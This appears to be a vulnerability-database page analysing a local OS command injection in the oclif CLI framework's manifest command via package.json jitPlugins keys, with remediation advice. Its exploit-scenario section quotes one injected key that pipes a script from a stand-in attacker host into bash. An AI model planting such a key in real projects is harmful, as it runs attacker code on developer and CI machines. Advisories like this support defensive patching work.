Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain write access to target package.json
-
DeliveryInject shell metacharacters into jitPlugins key
-
ExploitVictim runs oclif manifest command
-
Executionchild_process.exec() passes crafted string to OS shell
-
ImpactInjected commands execute as invoking user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concurrent conditions: (1) the attacker must have write access to a package.json file that is subsequently processed by the oclif manifest command - this could be via a supply-chain compromise of a dependency, a malicious commit to a repository, or direct local filesystem access; (2) the package.json must contain an oclif.jitPlugins configuration block, which is a non-default, opt-in feature used by CLIs that load plugins on demand; (3) a user or automated pipeline must invoke oclif manifest against that file. Exploitation is limited by local attack vector only - it cannot be triggered remotely without first achieving file-write capability. The PR:L metric indicates the attacker needs at least standard user-level privileges on the system or repository access. Environments that do not use the jitPlugins feature are not affected even if running a vulnerable oclif version. |
| Impact | The CVSS 4.0 score of 4.8 with vector AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P accurately reflects the constrained real-world risk. The local attack vector and requirement for write access to a package.json containing oclif.jitPlugins configuration significantly limit the exploitable population - this is not a remotely triggerable flaw in a network service. The EPSS data is not provided in this record; however, the E:P exploit maturity flag and the public PoC on GitHub (issue #2051) elevate urgency for affected development and CI environments where package.json files might be controlled by untrusted parties or supply-chain contributors. Impact is assessed as limited (C:L/I:L/A:L) since the injected commands run under the existing user's privilege level with no scope change to other systems. This is a real but narrow-scope developer-toolchain issue rather than a broadly weaponizable network flaw. |
| Exploit ScenarioDerived | An attacker with write access to a package.json file - via a malicious npm dependency, a compromised supply-chain contributor, or direct filesystem access - plants a jitPlugins entry whose key contains shell metacharacters, such as '@legitimate/plugin; curl http://attacker.example/shell.sh | bash #'. When a developer or CI pipeline runs oclif manifest against that package, child_process.exec() passes the crafted string to /bin/sh, executing the injected command under the invoking user's privileges. The public PoC (GitHub issue #2051) demonstrates this with a file-write payload, confirming practical exploitability. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 22, 2026
OS command injection in oclif up to 4.23.16 allows a local attacker who can control the jitPlugins configuration to execute arbitrary shell commands through the JIT Plugin Entry Handler's unsafe use of child_process.exec. The root cause is that plugin names from the oclif.jitPlugins field in package.json are interpolated directly into shell command strings passed to exec(), enabling shell metacharacter injection. A public exploit exists (GitHub issue #2051) and a patch has been released replacing exec() with cross-spawn's argument-array-based spawn().
RemediationAI
The upstream fix is available as commit 939b045725e065baebc4587b8bccfd56731eed3d on GitHub (https://github.com/oclif/oclif/commit/939b045725e065baebc4587b8bccfd56731eed3d) via PR #2052; however, a specific released npm package version number is not independently confirmed from the available data - verify the fixed version on the oclif npm registry page before upgrading. The fix replaces child_process.exec() with cross-spawn's spawn() and argument arrays, eliminating shell interpolation of plugin names. As a compensating control where upgrading is not immediately possible, restrict write access to any package.json files consumed by oclif manifest to trusted principals only, and audit existing oclif.jitPlugins keys for shell metacharacters (semicolons, backticks, pipe characters, dollar signs). Do not run oclif manifest against untrusted or externally sourced package.json files. CI pipelines that invoke oclif manifest on developer-supplied configs are at elevated risk until patched.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
oclif is the Open CLI Framework maintained by Salesforce for building Node.js command-line interfaces. The affected component is the manifest command's executeCommand helper (src/commands/manifest.ts), which used Node.js's child_process.exec() to run npm pack and tar commands. exec() passes its first argument to the OS shell as a single string, making it vulnerable to shell injection when unsanitized user-controlled data is interpolated into the command string. Specifically, jitPlugin keys from package.json (the oclif.jitPlugins map) were embedded directly into the shell string without escaping. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause class. The fix (commit 939b045725e065baebc4587b8bccfd56731eed3d, PR #2052) replaces exec() with cross-spawn's spawn() and passes all arguments as a discrete string array, bypassing shell interpretation entirely. Affected CPE: cpe:2.3:a:n/a:oclif:*:*:*:*:*:*:*:* up to version 4.23.16.
Know when Oclif gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Local-only attack via controlled config file requiring filesystem write access (PR:L, AV:L); no scope change, limited confidentiality, integrity, and availability impact matching CVSS 4.0 baseline.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was detected in oclif up to 4.23.16. Affected by this vulnerability is the function child_process.exec of the component JIT Plugin Entry Handler. Performing a manipulation of the argument jitPlugins results in os command injection. The attack is only possible with local access. The exploit is now public and may be used. The patch is named 939b045725e065baebc4587b8bccfd56731eed3d. To fix this issue, it is recommended to deploy a patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-47832
GHSA-h75p-gxr9-842c
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB